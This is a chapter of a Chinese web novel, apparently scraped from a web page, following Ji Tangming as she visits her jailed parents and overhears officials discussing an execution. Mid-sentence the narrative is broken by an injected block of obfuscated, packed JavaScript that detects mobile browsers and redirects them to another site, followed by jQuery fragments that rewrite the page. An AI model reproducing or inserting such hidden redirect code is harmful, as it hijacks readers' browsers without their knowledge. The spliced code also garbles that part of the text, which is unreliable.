祖母靠在阿娘怀里,兴许是感觉到细微的刺痛,阖着的眼皮抬了抬。
阿离沉吟片刻,拿纸笔抄了一张方子交给纪棠明:“老人家心绪不宁,针灸与药方只能起些微末的辅佐之用,还是得要心结疏解,好生将养着才能见好。”
纪棠明一颗心沉到了谷底。
“今日多谢阿离了,我先送你出去。”
纪棠明将允诺他的二两银子放在他手里,少年却将银子推了回去。
他望望狱中孤苦伶仃的四个人和外面奔波操劳的纪棠明,垂眸摇了摇头:“姐姐还是留着给老太太看病吧。”
纪棠明有些哭笑不得,她是被这般大的孩子同情了?
想着阿离的父亲既然健在,吃穿应当不愁,她便将银子收了起来,准备日后再找个由头感谢他。
送阿离出了大理寺,又安排霜儿送他回家,纪棠明才折返狱中,同阿爹阿娘说说话。
今日爹爹与娘亲面色格外凝重,坐在里面一言不发,纪棠明以为是担心祖母,还宽慰道:“日后我给祖母熬了药亲自送过来,再来陪祖母说说话,祖母定能好起来的。”
谁知,肖怜沉默几息,忽然道:“明儿,你是不是有事瞒着我们?”
纪棠明一愣,瞬间有些心虚。
“阿娘为何如此说?我哪有什么可瞒着的事。”
话音刚落,纪廷修和肖怜就双双向她投去了变化莫测的神情。
纪棠明莫名脸有些发烫:今日她的发髻和衣着都没有什么问题,阿爹阿娘究竟是哪里发现了端倪?
肖怜清咳一声,道:“阿娘知道你自幼是个心里分明的,断然不会去做见不得人的勾当。”
她与纪廷修对视一眼:“明儿,你莫非是有了中意的郎君?”
一旁乖乖听了半晌的纪荣眨巴着大眼睛看向阿姐,眼底掩不住的好奇。
纪棠明被问的发懵,半晌不知怎么接这话茬,纪家夫妇二人还以为是自家女儿害羞,面上一副“我们都懂”的神情。
“你也不小了,有什么是阿娘听不得的?”想到近日与她一同长大的梁永也在京中,肖怜又问道:“可是梁家那郎君?”
“梁主簿性子敦厚,梁永也是我看着长大的,若明儿喜欢,的确不失为良人。”
纪棠明还未插话,肖怜与纪廷修便你一言我一言将她许了出去。
纪棠明只得无奈道:“女儿并不喜欢梁永,也没有什么意中人。”
她心下正想着今日阿爹阿娘何故如此奇怪,那头肖怜愣了一会,小声试探道:
“那你脖子上的红痕……是怎么回事?”
肖怜哪能看不出来那红痕分明是耳鬓厮磨所致,只是不大好直说,才暗里打问一下她。
纪棠明闻言陡然一惊,下意识抬手捂住了自己的脖子。
红痕?什么红痕?
她有些茫然,纪廷修和肖怜面面相觑,看见她这般反应也是心里奇怪。纪棠明不像是羞赧不肯说,倒像是被此话吓住了。
想起前几日夜里身上的重压和颈处传来的黏糊湿润感,纪棠明脑中似有一根弦绷紧了。
她压下心头不安,只当是自己多心,面上淡定道:“许是临近开春,被蚊虫咬了。”
纪廷修和肖怜若有所思地点了点头,觉得也有理,没再多问。
“明儿,以后还是莫要再来狱中了,此地衙役走动,将你认出来可怎么好?”
迎上阿娘担忧的目光,纪棠明点了点头,顺着她道:“那阿爹阿娘一定保重自己。”
纪棠明辞别父母,阿娘忍不住吩咐道:“记得好好谢谢你姨母,近日有她在狱中走动着,伙食比以往好了许多。”
纪棠明下意识往狱中看了一眼,这才发现不知什么时候牢房里还添了一盆炭火。
她面上未露异常,只浅浅笑了声:“姨母当真体贴。阿娘的话明儿记下了。”
出了大理寺,不知是不是寒风吹的,纪棠明才发觉脊背冷汗津津,她不禁抬手紧了紧衣领,凉风吹得她思绪清明了几分。
尚书府伪善假好心,她早先就看透了,还指望他们真心帮忙不成?安排那可怜女子替她,说白了也是为了替嫁一事不遭人生疑,狱中种种,定然不会是他们做的。
纪棠明魂不守舍往外走,想着接应的马车大抵就在附近了,刚走至大理寺高门那里,似听见不远处有朗朗交谈声,口中说着什么“定罪”“赃款”,却笑得开怀。
想也不用想,外面定是大理寺的一干官员。
纪棠明环视四周,高墙内一片平坦,院内只摆着立兵器的架子与左右两个鸣鼓,无处可躲,此时出去定要与他们撞个正着。
偶然瞥见右侧放着一个盛干草的平头车,纪棠明心下微动,轻手轻脚躲了过去。
才藏在草车后,为首的两位便带着一干衙役浩浩荡荡进来了。
“近日真是辛苦大理寺少卿了,日夜操劳,眼下终于能结案了。”
“哪里哪里,还是得多亏了刑部侍郎您,若不是您从中协助,此案定是还要拖上几个月呢。”
被称作刑部侍郎的人“嗐”了一声:“说起来皇后娘娘真是急了些,这类案子历来都是繁复难查,这才半月有余,上书的折子便一箱一箱往御书房抬,如今忽然将那罪臣缉拿入狱,又匆匆定了明日晌午问斩,陛下醒了可不得勃然大怒。”
听到此,纪棠明从头到脚被一股寒意浸透,她跌坐在地上,整个身子都在遏制不住地发抖。
“那杜远也真是罪有应得,一家子假清高,装什么劳什子孤傲?原来是背地里做这些见不得人的勾当……”
纪棠明才涌出的泪忽然止住了:问斩的是谁?杜远?不是爹爹?
她怔了会,抹了抹脸上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405682|200490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的泪,见那头衙役正张罗着贴告示,她拨开聚过来的人群凑前一看,上面白纸黑字,分分明明写着“户部侍郎杜远欺辱民女、抢占农田四十亩,监守自盗,贪赃枉法,于明日午时问斩”。
纪棠明反复念了几遍,见衙役贴完这一张便走了,才心有余悸地拍呼出一口气。
霜儿从远处跑来,正要唤她上马车,见纪棠明眼角的泪痕,忙道:“主子怎么了?”
纪棠明摇了摇头:“无碍,只是听错了。”
霜儿“哦”了一声,顾不得细究,便道:“方才送完阿离公子,瞧见梁公子竟也住在那里,当真是好巧。”
户部侍郎一事来得突然,纪棠明心底有些不安,正想将此事同梁永讲。
她望了眼天色还早,便随霜儿上了马车,赶在回宫前顺路拜访一番,问问江州一事有何进展。
纪棠明和霜儿在歪歪斜斜的巷子里拐了不知多少个弯,才来到梁永落脚的小院前。
两人四下望望,一前一后进了屋,不远处才下马车的段则煜瞧见二人的身影,神色阴翳得吓人:
“青刃,你说皇子妃今日去了何处?”
青刃脊背一寒,头皮发麻道:“……娘娘今日去了大理寺。”
那头主子半晌没说话,青刃如芒在背,躬着身子悄悄退到了一边。
段则煜心里没由来一股燥意:那穷小子有什么好?他哪里不如他?
“回宫。”
段则煜黑着脸上了马车。
……
半个时辰后。
梁永破破烂烂的屋顶上蹲了两个人。
因这屋顶缺砖少瓦,不遮风不挡雨,上头能清楚地听到底下的对话:
“明妹妹,不如你同我回江州另寻他法,我瞧那钦点官员分明是个草包,他懂什么查案律法?那日还当着我面非礼良家女子,简直是我大启的耻辱。”
被非礼的良家女子——纪棠明窘了一瞬,掩帕清咳:“此事或有误会……”
“不说这个,我虽不懂朝中事,却听闻户部侍郎也是个受百姓爱戴的好官,怎得忽然被缉拿入狱?爹爹的事还压着,我心里总是不安。”
梁永给她沏了一壶茶,茶水冒着腾腾热气,叫她看不清对面的神色,只听他叹口气道:
“眼下储位人选悬而未决,虽朝中吵的凶,但如今掌权的皇后娘娘还未表明态度,没有官员敢明着支持谁。那户部侍郎便是大肆支持四皇子的头一个。”
纪棠明端着茶盏的手顿了顿:“你是说,户部侍郎触了皇后娘娘逆鳞,才被找了个由头肃清了?可陛下病重后,皇后娘娘似乎格外倚重四皇子……我听姨母说的。”
梁永神色有些怪异,沉思了片刻:“可能之前是为了掩人耳目弄出来的假象,待此事过后,四皇子便要彻底失势了。有户部侍郎的前车之鉴,往后谁敢支持四皇子继位?”
梁永想到这,又愁眉苦脸道:“可惜我认了这不知名的草包做幕僚,眼下跑也跑不掉了。若此时攀上二皇子,岂不是飞黄腾达了?”
纪棠明望了他一眼,欲言又止:“你难道还不知,你那日见的‘草包’就是二皇子段则煜?”